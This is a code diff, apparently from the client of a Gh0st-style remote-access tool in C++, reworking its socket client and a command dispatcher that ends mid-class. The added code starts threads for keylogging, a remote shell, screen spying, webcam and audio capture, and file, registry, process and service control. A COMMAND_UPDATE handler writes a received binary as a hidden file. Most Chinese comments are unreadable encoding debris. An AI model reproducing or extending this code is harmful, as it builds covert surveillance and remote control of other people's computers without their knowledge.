// <20><><EFBFBD>ӵ<EFBFBD><D3B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
if (connect(m_sClientSocket, (struct sockaddr*)&ServerAddr, sizeof(ServerAddr)) == -1) {
std::cerr << "Connection failed" << std::endl;
close(m_sClientSocket);
m_sClientSocket = -1; // <20><><EFBFBD><EFBFBD><EFBFBD>׽<EFBFBD><D7BD><EFBFBD><EFBFBD><EFBFBD>Ч
return false;
}
#endif
const int chOpt = 1; // True
// Set KeepAlive <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>, <20><>ֹ<EFBFBD><D6B9><EFBFBD><EFBFBD><EFBFBD>˲<EFBFBD><CBB2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
if (setsockopt(m_sClientSocket, SOL_SOCKET, SO_KEEPALIVE,
(char *)&chOpt, sizeof(chOpt)) == 0)
{
#ifdef _WIN32
// <20><><EFBFBD>ó<EFBFBD>ʱ<EFBFBD><CAB1>ϸ<EFBFBD><CFB8>Ϣ
tcp_keepalive klive;
klive.onoff = 1; // <20><><EFBFBD>ñ<EFBFBD><C3B1><EFBFBD>
@@ -101,13 +258,22 @@ BOOL IOCPClient::ConnectServer(char* szServerIP, unsigned short uPort)
klive.keepaliveinterval = 1000 * 5; // <20><><EFBFBD>Լ<EFBFBD><D4BC><EFBFBD>Ϊ5<CEAA><35> Resend if No-Reply
WSAIoctl(m_sClientSocket, SIO_KEEPALIVE_VALS,&klive,sizeof(tcp_keepalive),
NULL, 0,(unsigned long *)&chOpt,0,NULL);
#else
// <20><><EFBFBD>ñ<EFBFBD><C3B1><EFBFBD>ѡ<EFBFBD><D1A1>
SetKeepAliveOptions(m_sClientSocket);
#endif
}
if (m_hWorkThread == NULL){
#ifdef _WIN32
m_hWorkThread = (HANDLE)CreateThread(NULL, 0,
(LPTHREAD_START_ROUTINE)WorkThreadProc,(LPVOID)this, 0, NULL);
WorkThreadProc,(LPVOID)this, 0, NULL);
m_bWorkThread = m_hWorkThread ? S_RUN : S_STOP;
#else
pthread_t id = 0;
m_hWorkThread = (HANDLE)pthread_create(&id, nullptr, (void* (*)(void*))IOCPClient::WorkThreadProc, this);
#endif
}
std::cout<<"<EFBFBD><EFBFBD><EFBFBD>ӷ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>˳ɹ<EFBFBD>.\n";
Mprintf("<EFBFBD><EFBFBD><EFBFBD>ӷ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>˳ɹ<EFBFBD>.\n");
m_bConnected = TRUE;
return TRUE;
}
@@ -115,9 +281,9 @@ BOOL IOCPClient::ConnectServer(char* szServerIP, unsigned short uPort)
DWORD WINAPI IOCPClient::WorkThreadProc(LPVOID lParam)
{
IOCPClient* This = (IOCPClient*)lParam;
char szBuffer[MAX_RECV_BUFFER] = {0};
char* szBuffer = new char[MAX_RECV_BUFFER];
fd_set fd;
const struct timeval tm = { 2, 0 };
struct timeval tm = { 2, 0 };
while (This->IsRunning()) // û<><C3BB><EFBFBD>˳<EFBFBD><CBB3><EFBFBD><EFBFBD><EFBFBD>һֱ<D2BB><D6B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѭ<EFBFBD><D1AD><EFBFBD><EFBFBD>
{
@@ -128,13 +294,17 @@ DWORD WINAPI IOCPClient::WorkThreadProc(LPVOID lParam)
}
FD_ZERO(&fd);
FD_SET(This->m_sClientSocket, &fd);
#ifdef _WIN32
int iRet = select(NULL, &fd, NULL, NULL, &tm);
#else
int iRet = select(This->m_sClientSocket + 1, &fd, NULL, NULL, &tm);
#endif
if (iRet <= 0)
{
if (iRet == 0) Sleep(50);
else
{
printf("[select] return %d, GetLastError= %d. \n", iRet, WSAGetLastError());
Mprintf("[select] return %d, GetLastError= %d. \n", iRet, WSAGetLastError());
This->Disconnect(); //<2F><><EFBFBD>մ<EFBFBD><D5B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
if(This->m_exit_while_disconnect)
break;
@@ -142,12 +312,12 @@ DWORD WINAPI IOCPClient::WorkThreadProc(LPVOID lParam)
}
else if (iRet > 0)
{
memset(szBuffer, 0, sizeof(szBuffer));
int iReceivedLength = recv(This->m_sClientSocket,
szBuffer,sizeof(szBuffer), 0); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ض˷<D8B6><CBB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
memset(szBuffer, 0, MAX_RECV_BUFFER);
int iReceivedLength = recv(This->m_sClientSocket,
szBuffer, MAX_RECV_BUFFER, 0); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ض˷<D8B6><CBB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
if (iReceivedLength <= 0)
{
int a = GetLastError();
int a = WSAGetLastError();
This->Disconnect(); //<2F><><EFBFBD>մ<EFBFBD><D5B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
if(This->m_exit_while_disconnect)
break;
@@ -159,6 +329,7 @@ DWORD WINAPI IOCPClient::WorkThreadProc(LPVOID lParam)
}
This->m_bWorkThread = S_STOP;
This->m_bIsRunning = FALSE;
delete[] szBuffer;
return 0xDEAD;
}
@@ -170,14 +341,14 @@ VOID IOCPClient::OnServerReceiving(char* szBuffer, ULONG ulLength)
{
assert (ulLength > 0);
//<2F><><EFBFBD>½ӵ<C2BD><D3B5><EFBFBD><EFBFBD>ݽ<EFBFBD><DDBD>н<EFBFBD>ѹ<EFBFBD><D1B9>
CBuffer m_CompressedBuffer;
m_CompressedBuffer.WriteBuffer((LPBYTE)szBuffer, ulLength);
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7>С <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǾͲ<C7BE><CDB2><EFBFBD><EFBFBD><EFBFBD>ȷ<EFBFBD><C8B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
while (m_CompressedBuffer.GetBufferLength() > HDR_LENGTH)
{
char szPacketFlag[FLAG_LENGTH] = {0};
CopyMemory(szPacketFlag, m_CompressedBuffer.GetBuffer(),FLAG_LENGTH);
char szPacketFlag[FLAG_LENGTH + 3] = {0};
LPBYTE src = m_CompressedBuffer.GetBuffer();
CopyMemory(szPacketFlag, src, FLAG_LENGTH);
//<2F>ж<EFBFBD><D0B6><EFBFBD><EFBFBD><EFBFBD>ͷ
if (memcmp(m_szPacketFlag, szPacketFlag, FLAG_LENGTH) != 0)
{
@@ -189,8 +360,8 @@ VOID IOCPClient::OnServerReceiving(char* szBuffer, ULONG ulLength)
sizeof(ULONG));
//--- <20><><EFBFBD>ݵĴ<DDB5>С<EFBFBD><D0A1>ȷ<EFBFBD>ж<EFBFBD>
if (ulPackTotalLength &&
(m_CompressedBuffer.GetBufferLength()) >= ulPackTotalLength)
ULONG len = m_CompressedBuffer.GetBufferLength();
if (ulPackTotalLength && len >= ulPackTotalLength)
{
m_CompressedBuffer.ReadBuffer((PBYTE)szPacketFlag, FLAG_LENGTH);//<2F><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7> shine
@@ -206,10 +377,10 @@ VOID IOCPClient::OnServerReceiving(char* szBuffer, ULONG ulLength)
m_CompressedBuffer.ReadBuffer(CompressedBuffer, ulCompressedLength);
int iRet = uncompress(DeCompressedBuffer,
size_t iRet = uncompress(DeCompressedBuffer,
&ulOriginalLength, CompressedBuffer, ulCompressedLength);
if (iRet == Z_OK)//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѹ<EFBFBD>ɹ<EFBFBD>
if (Z_SUCCESS(iRet))//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѹ<EFBFBD>ɹ<EFBFBD>
{
CBuffer m_DeCompressedBuffer;
m_DeCompressedBuffer.WriteBuffer(DeCompressedBuffer,
@@ -217,24 +388,40 @@ VOID IOCPClient::OnServerReceiving(char* szBuffer, ULONG ulLength)
//<2F><>ѹ<EFBFBD>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ݺͳ<DDBA><CDB3>ȴ<EFBFBD><C8B4>ݸ<EFBFBD><DDB8><EFBFBD><EFBFBD><EFBFBD>Manager<65><72><EFBFBD>д<EFBFBD><D0B4><EFBFBD> ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˶<EFBFBD>̬
//<2F><><EFBFBD><EFBFBD>m_pManager<65>е<EFBFBD><D0B5><EFBFBD><EFBFBD>һ<E0B2BB><D2BB><EFBFBD><EFBFBD><EFBFBD>ɵ<EFBFBD><C9B5>õ<EFBFBD>OnReceive<76><65><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>
m_Manager->OnReceive((PBYTE)m_DeCompressedBuffer.GetBuffer(0),
m_DeCompressedBuffer.GetBufferLength());
if (m_DataProcess)
m_DataProcess(m_Manager, (PBYTE)m_DeCompressedBuffer.GetBuffer(0),
m_DeCompressedBuffer.GetBufferLength());
}
else
else{
Mprintf("[ERROR] uncompress fail: dstLen %d, srcLen %d\n", ulOriginalLength, ulCompressedLength);
delete [] CompressedBuffer;
delete [] DeCompressedBuffer;
throw "Bad Buffer";
}
delete [] CompressedBuffer;
delete [] DeCompressedBuffer;
#if _DEBUG
// Mprintf("[INFO] uncompress succeed data len: %d expect: %d\n", len, ulPackTotalLength);
#endif
}
else
else {
Mprintf("[WARNING] OnServerReceiving incomplete data: %d expect: %d\n", len, ulPackTotalLength);
break;
}
}
}catch(...) { }
}catch(...) {
m_CompressedBuffer.ClearBuffer();
Mprintf("[ERROR] OnServerReceiving catch an error \n");
}
}
int IOCPClient::OnServerSending(const char* szBuffer, ULONG ulOriginalLength) //Hello
// <20><>server<65><72><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݣ<EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȽϺ<C8BD>ʱ<EFBFBD><CAB1>
// <20>ر<EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1>SendWithSplit<69>ȽϺ<C8BD>ʱ<EFBFBD><CAB1>
BOOL IOCPClient::OnServerSending(const char* szBuffer, ULONG ulOriginalLength) //Hello
{
AUTO_TICK(50);
assert (ulOriginalLength > 0);
{
//<2F><><EFBFBD><EFBFBD>1.001<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҳ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ռ<EFBFBD>õ<EFBFBD><EFBFBD>ڴ<EFBFBD><EFBFBD>ռ<EFBFBD><EFBFBD><EFBFBD>ԭ<EFBFBD><EFBFBD>һ<EFBFBD><EFBFBD> +12
@@ -242,20 +429,29 @@ int IOCPClient::OnServerSending(const char* szBuffer, ULONG ulOriginalLength) /
//<2F><><EFBFBD><EFBFBD>ѹ<EFBFBD><D1B9> ѹ<><D1B9><EFBFBD>㷨 ΢<><CEA2><EFBFBD>
//nSize = 436
//destLen = 448
#if USING_ZLIB
unsigned long ulCompressedLength = (double)ulOriginalLength * 1.001 + 12;
#elif USING_LZ4
unsigned long ulCompressedLength = LZ4_compressBound(ulOriginalLength);
#else
unsigned long ulCompressedLength = ZSTD_compressBound(ulOriginalLength);
#endif
LPBYTE CompressedBuffer = new BYTE[ulCompressedLength];
int iRet = compress(CompressedBuffer, &ulCompressedLength, (PBYTE)szBuffer, ulOriginalLength);
if (iRet != Z_OK)
if (Z_FAILED(iRet))
{
Mprintf("[ERROR] compress failed \n");
delete [] CompressedBuffer;
return FALSE;
}
#if !USING_ZLIB
ulCompressedLength = iRet;
#endif
ULONG ulPackTotalLength = ulCompressedLength + HDR_LENGTH;
CBuffer m_WriteBuffer;
m_WriteBuffer.WriteBuffer((PBYTE)m_szPacketFlag, sizeof(m_szPacketFlag));
m_WriteBuffer.WriteBuffer((PBYTE)m_szPacketFlag, FLAG_LENGTH);
m_WriteBuffer.WriteBuffer((PBYTE) &ulPackTotalLength,sizeof(ULONG));
// 5 4
@@ -267,6 +463,7 @@ int IOCPClient::OnServerSending(const char* szBuffer, ULONG ulOriginalLength) /
delete [] CompressedBuffer;
CompressedBuffer = NULL;
// <20>ֿ鷢<D6BF><E9B7A2>
//shine[0035][0010][HelloWorld+12]
return SendWithSplit((char*)m_WriteBuffer.GetBuffer(), m_WriteBuffer.GetBufferLength(),
@@ -277,6 +474,7 @@ int IOCPClient::OnServerSending(const char* szBuffer, ULONG ulOriginalLength) /
// 5 2 // 2 2 1
BOOL IOCPClient::SendWithSplit(const char* szBuffer, ULONG ulLength, ULONG ulSplitLength)
{
AUTO_TICK(25);
int iReturn = 0; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˶<EFBFBD><CBB6><EFBFBD>
const char* Travel = szBuffer;
int i = 0;
@@ -328,7 +526,7 @@ BOOL IOCPClient::SendWithSplit(const char* szBuffer, ULONG ulLength, ULONG ulSpl
VOID IOCPClient::Disconnect()
{
std::cout<<"<EFBFBD>Ͽ<EFBFBD><EFBFBD>ͷ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>˵<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>.\n";
Mprintf("<EFBFBD>Ͽ<EFBFBD><EFBFBD>ͷ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>˵<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>.\n");
CancelIo((HANDLE)m_sClientSocket);
closesocket(m_sClientSocket);

View File

@@ -9,36 +9,81 @@
#pragma once
#endif // _MSC_VER > 1000
#ifdef _WIN32
#include "stdafx.h"
#include <WinSock2.h>
#include <Windows.h>
#include <MSTcpIP.h>
#include "Buffer.h"
#include "Manager.h"
#pragma comment(lib,"ws2_32.lib")
#endif
#define MAX_RECV_BUFFER 1024*8
#define MAX_SEND_BUFFER 1024*8
#include "Buffer.h"
#include "common/commands.h"
#include "zstd/zstd.h"
#define MAX_RECV_BUFFER 1024*32
#define MAX_SEND_BUFFER 1024*32
#define FLAG_LENGTH 5
#define HDR_LENGTH 13
enum { S_STOP = 0, S_RUN, S_END };
typedef int (*DataProcessCB)(void* userData, PBYTE szBuffer, ULONG ulLength);
class IOCPManager {
public:
virtual ~IOCPManager() {}
virtual BOOL IsAlive() const { return TRUE; }
virtual BOOL IsReady() const { return TRUE; }
virtual VOID OnReceive(PBYTE szBuffer, ULONG ulLength) { }
static int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength) {
IOCPManager* m_Manager = (IOCPManager*)user;
if (nullptr == m_Manager) {
Mprintf("IOCPManager DataProcess on NULL ptr: %d\n", unsigned(szBuffer[0]));
return FALSE;
}
// <20>ȴ<EFBFBD><C8B4><EFBFBD><EFBFBD><EFBFBD>׼<EFBFBD><D7BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ܴ<EFBFBD><DCB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>, 1<><31><EFBFBD><EFBFBD><E3B9BB>
int i = 0;
for (; i < 1000 && !m_Manager->IsReady(); ++i)
Sleep(1);
if (!m_Manager->IsReady()) {
Mprintf("IOCPManager DataProcess is NOT ready: %d\n", unsigned(szBuffer[0]));
return FALSE;
}
if (i) {
Mprintf("IOCPManager DataProcess wait for %dms: %d\n", i, unsigned(szBuffer[0]));
}
m_Manager->OnReceive(szBuffer, ulLength);
return TRUE;
}
};
class IOCPClient
{
public:
IOCPClient(bool exit_while_disconnect = false);
IOCPClient(State& bExit, bool exit_while_disconnect = false);
virtual ~IOCPClient();
SOCKET m_sClientSocket;
CBuffer m_CompressedBuffer;
BOOL m_bWorkThread;
HANDLE m_hWorkThread;
BOOL ConnectServer(char* szServerIP, unsigned short uPort);
static DWORD WINAPI WorkThreadProc(LPVOID lParam);
#if USING_CTX
ZSTD_CCtx* m_Cctx; // ѹ<><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
ZSTD_DCtx* m_Dctx; // <20><>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
#endif
int SendLoginInfo(const LOGIN_INFOR& logInfo) {
LOGIN_INFOR tmp = logInfo;
int iRet = Send2Server((char*)&tmp, sizeof(LOGIN_INFOR));
return iRet;
}
BOOL ConnectServer(const char* szServerIP, unsigned short uPort);
static DWORD WINAPI WorkThreadProc(LPVOID lParam);
BOOL Send2Server(const char* szBuffer, ULONG ulOriginalLength) {
return OnServerSending(szBuffer, ulOriginalLength);
}
VOID OnServerReceiving(char* szBuffer, ULONG ulReceivedLength);
int OnServerSending(const char* szBuffer, ULONG ulOriginalLength);
BOOL OnServerSending(const char* szBuffer, ULONG ulOriginalLength);
BOOL SendWithSplit(const char* szBuffer, ULONG ulLength, ULONG ulSplitLength);
BOOL IsRunning() const
@@ -46,20 +91,26 @@ public:
return m_bIsRunning;
}
void SetExit() {
m_bIsRunning = FALSE;
}
BOOL m_bIsRunning;
BOOL m_bConnected;
char m_szPacketFlag[FLAG_LENGTH];
char m_szPacketFlag[FLAG_LENGTH + 3];
VOID setManagerCallBack(class CManager* Manager);
VOID setManagerCallBack(void* Manager, DataProcessCB dataProcess);
VOID Disconnect();
VOID RunEventLoop(const BOOL &bCondition);
bool IsConnected() const { return m_bConnected; }
bool IsConnected() const { return m_bConnected == TRUE; }
public:
class CManager* m_Manager;
CRITICAL_SECTION m_cs;
State& g_bExit; // ȫ<><C8AB>״̬<D7B4><CCAC>
void* m_Manager; // <20>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD>
DataProcessCB m_DataProcess; // <20><><EFBFBD><EFBFBD><EFBFBD>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD>
bool m_exit_while_disconnect;
};

View File

@@ -5,22 +5,34 @@
#include "stdafx.h"
#include "KernelManager.h"
#include "Common.h"
#include <iostream>
#include <fstream>
#include <corecrt_io.h>
#include "ClientDll.h"
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CKernelManager::CKernelManager(IOCPClient* ClientObject):CManager(ClientObject)
CKernelManager::CKernelManager(CONNECT_ADDRESS* conn, IOCPClient* ClientObject, HINSTANCE hInstance)
: m_conn(conn), m_hInstance(hInstance), CManager(ClientObject)
{
m_ulThreadCount = 0;
#ifdef _DEBUG
m_settings = { 5 };
#else
m_settings = { 30 };
#endif
m_nNetPing = -1;
}
CKernelManager::~CKernelManager()
{
printf("~CKernelManager \n");
Mprintf("~CKernelManager begin\n");
int i = 0;
for (i=0;i<0x1000;i++)
for (i=0;i<MAX_THREADNUM;++i)
{
if (m_hThread->h!=0)
if (m_hThread[i].h!=0)
{
CloseHandle(m_hThread[i].h);
m_hThread[i].h = NULL;
@@ -30,112 +42,233 @@ CKernelManager::~CKernelManager()
}
}
m_ulThreadCount = 0;
Mprintf("~CKernelManager end\n");
}
// <20><>ȡ<EFBFBD><C8A1><EFBFBD>õ<EFBFBD><C3B5>߳<EFBFBD><DFB3>±<EFBFBD>
UINT CKernelManager::GetAvailableIndex() {
if (m_ulThreadCount < MAX_THREADNUM) {
return m_ulThreadCount;
}
for (int i = 0; i < MAX_THREADNUM; ++i)
{
if (m_hThread[i].p == NULL) {
return i;
}
}
return -1;
}
BOOL WriteBinaryToFile(const char* data, ULONGLONG size)
{
if (size > 32 * 1024 * 1024) {
Mprintf("WriteBinaryToFile fail: too large file size!!\n");
return FALSE;
}
char path[_MAX_PATH], * p = path;
GetModuleFileNameA(NULL, path, sizeof(path));
while (*p) ++p;
while ('\\' != *p) --p;
strcpy(p + 1, "ServerDll.new");
if (_access(path, 0)!=-1)
{
DeleteFileA(path);
}
// <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD>ģʽд<CABD><D0B4>
std::string filePath = path;
std::ofstream outFile(filePath, std::ios::binary);
if (!outFile)
{
Mprintf("Failed to open or create the file: %s.\n", filePath.c_str());
return FALSE;
}
// д<><D0B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
outFile.write(data, size);
if (outFile.good())
{
Mprintf("Binary data written successfully to %s.\n", filePath.c_str());
}
else
{
Mprintf("Failed to write data to file.\n");
outFile.close();
return FALSE;
}
// <20>ر<EFBFBD><D8B1>ļ<EFBFBD>
outFile.close();
// <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD>
if (SetFileAttributesA(filePath.c_str(), FILE_ATTRIBUTE_HIDDEN))
{
Mprintf("File created and set to hidden: %s\n", filePath.c_str());
}
return TRUE;
}
VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
{
IOCPClient *pNew = szBuffer[0] == COMMAND_BYE ? NULL : new IOCPClient(true);
m_hThread[m_ulThreadCount].p = pNew;
bool isExit = szBuffer[0] == COMMAND_BYE || szBuffer[0] == SERVER_EXIT;
if ((m_ulThreadCount = GetAvailableIndex()) == -1) {
if (!isExit) {
Mprintf("CKernelManager: The number of threads exceeds the limit.\n");
return;
}
}
else if (!isExit){
m_hThread[m_ulThreadCount].p = nullptr;
m_hThread[m_ulThreadCount].conn = m_conn;
}
switch(szBuffer[0])
{
case COMMAND_SHARE:
if (ulLength > 2) {
switch (szBuffer[1]) {
case SHARE_TYPE_YAMA: {
auto a = NewClientStartArg((char*)szBuffer + 2, IsSharedRunning, TRUE);
if (nullptr!=a) CloseHandle(CreateThread(0, 0, StartClientApp, a, 0, 0));
break;
}
case SHARE_TYPE_HOLDINGHANDS:
break;
}
}
break;
case CMD_HEARTBEAT_ACK:
if (ulLength > 8) {
uint64_t n = 0;
memcpy(&n, szBuffer + 1, sizeof(uint64_t));
auto system_ms = std::chrono::time_point_cast<std::chrono::milliseconds>(
std::chrono::system_clock::now()
);
m_nNetPing = int((system_ms.time_since_epoch().count() - n) / 2);
}
break;
case CMD_MASTERSETTING:
if (ulLength > sizeof(MasterSettings)) {
memcpy(&m_settings, szBuffer + 1, sizeof(MasterSettings));
}
break;
case COMMAND_KEYBOARD: //<2F><><EFBFBD>̼<EFBFBD>¼
{
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true);
m_hThread[m_ulThreadCount++].h = CreateThread(NULL, 0, LoopKeyboardManager, &m_hThread[m_ulThreadCount], 0, NULL);;
break;
}
case COMMAND_TALK:
{
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0,
(LPTHREAD_START_ROUTINE)LoopTalkManager,
&m_hThread[m_ulThreadCount], 0, NULL);;
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true);
m_hThread[m_ulThreadCount].user = m_hInstance;
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopTalkManager, &m_hThread[m_ulThreadCount], 0, NULL);;
break;
}
case COMMAND_SHELL:
{
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0,
(LPTHREAD_START_ROUTINE)LoopShellManager,
&m_hThread[m_ulThreadCount], 0, NULL);;
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true);
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopShellManager, &m_hThread[m_ulThreadCount], 0, NULL);;
break;
}
case COMMAND_SYSTEM: //Զ<>̽<EFBFBD><CCBD>̹<EFBFBD><CCB9><EFBFBD>
{
m_hThread[m_ulThreadCount++].h = CreateThread(NULL, 0,
(LPTHREAD_START_ROUTINE)LoopProcessManager,
&m_hThread[m_ulThreadCount], 0, NULL);;
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true);
m_hThread[m_ulThreadCount++].h = CreateThread(NULL, 0, LoopProcessManager, &m_hThread[m_ulThreadCount], 0, NULL);;
break;
}
case COMMAND_WSLIST: //Զ<>̴<EFBFBD><CCB4>ڹ<EFBFBD><DAB9><EFBFBD>
{
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0,
(LPTHREAD_START_ROUTINE)LoopWindowManager,
&m_hThread[m_ulThreadCount], 0, NULL);;
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true);
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopWindowManager, &m_hThread[m_ulThreadCount], 0, NULL);;
break;
}
case COMMAND_BYE:
{
BYTE bToken = COMMAND_BYE; //<2F><><EFBFBD><EFBFBD>ͷ<EFBFBD>ļ<EFBFBD> Common.h
BYTE bToken = COMMAND_BYE;// <EFBFBD><EFBFBD><EFBFBD>ض<EFBFBD><EFBFBD>˳<EFBFBD>
m_ClientObject->OnServerSending((char*)&bToken, 1);
OutputDebugStringA("======> Bye bye \n");
m_hThread[m_ulThreadCount].p = NULL;
delete pNew;
pNew = NULL;
g_bExit = S_CLIENT_EXIT;
OutputDebugStringA("======> Client exit \n");
break;
}
case SERVER_EXIT:
{
BYTE bToken = SERVER_EXIT;// <20><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD>
m_ClientObject->OnServerSending((char*)&bToken, 1);
g_bExit = S_SERVER_EXIT;
OutputDebugStringA("======> Server exit \n");
break;
}
case COMMAND_SCREEN_SPY:
{
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0,
(LPTHREAD_START_ROUTINE)LoopScreenManager,
&m_hThread[m_ulThreadCount], 0, NULL);;
UserParam* user = new UserParam{ ulLength > 1 ? new BYTE[ulLength - 1] : nullptr, int(ulLength-1) };
if (ulLength > 1) {
memcpy(user->buffer, szBuffer + 1, ulLength - 1);
}
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true);
m_hThread[m_ulThreadCount].user = user;
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopScreenManager, &m_hThread[m_ulThreadCount], 0, NULL);;
break;
}
case COMMAND_LIST_DRIVE :
{
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0,
(LPTHREAD_START_ROUTINE)LoopFileManager,
&m_hThread[m_ulThreadCount], 0, NULL);;
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true);
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopFileManager, &m_hThread[m_ulThreadCount], 0, NULL);;
break;
}
case COMMAND_WEBCAM:
{
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0,
(LPTHREAD_START_ROUTINE)LoopVideoManager,
&m_hThread[m_ulThreadCount], 0, NULL);;
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true);
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopVideoManager, &m_hThread[m_ulThreadCount], 0, NULL);;
break;
}
case COMMAND_AUDIO:
{
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0,
(LPTHREAD_START_ROUTINE)LoopAudioManager,
&m_hThread[m_ulThreadCount], 0, NULL);;
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true);
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopAudioManager, &m_hThread[m_ulThreadCount], 0, NULL);;
break;
}
case COMMAND_REGEDIT:
{
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0,
(LPTHREAD_START_ROUTINE)LoopRegisterManager,
&m_hThread[m_ulThreadCount], 0, NULL);;
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true);
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopRegisterManager, &m_hThread[m_ulThreadCount], 0, NULL);;
break;
}
case COMMAND_SERVICES:
{
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0,
(LPTHREAD_START_ROUTINE)LoopServicesManager,
&m_hThread[m_ulThreadCount], 0, NULL);
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true);
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopServicesManager, &m_hThread[m_ulThreadCount], 0, NULL);
break;
}
case COMMAND_UPDATE:
{
ULONGLONG size=0;
memcpy(&size, (const char*)szBuffer + 1, sizeof(ULONGLONG));
if (WriteBinaryToFile((const char*)szBuffer + 1 + sizeof(ULONGLONG), size)) {
g_bExit = S_CLIENT_UPDATE;
}
break;
}
default:
{
OutputDebugStringA("======> Error operator\n");
m_hThread[m_ulThreadCount].p = NULL;
delete pNew;
pNew = NULL;
Mprintf("!!! Unknown command: %d\n", unsigned(szBuffer[0]));
break;
}
}

View File

@@ -12,24 +12,151 @@
#include "Manager.h"
#include <vector>
// <20>߳<EFBFBD><DFB3><EFBFBD>Ϣ<EFBFBD><EFBFBD><E1B9B9>
#define MAX_THREADNUM 0x1000>>2
#include <iostream>
#include <string>
#include <iomanip>
#include <TlHelp32.h>
#include "LoginServer.h"
class ActivityWindow {
public:
std::string Check(DWORD threshold_ms = 6000) {
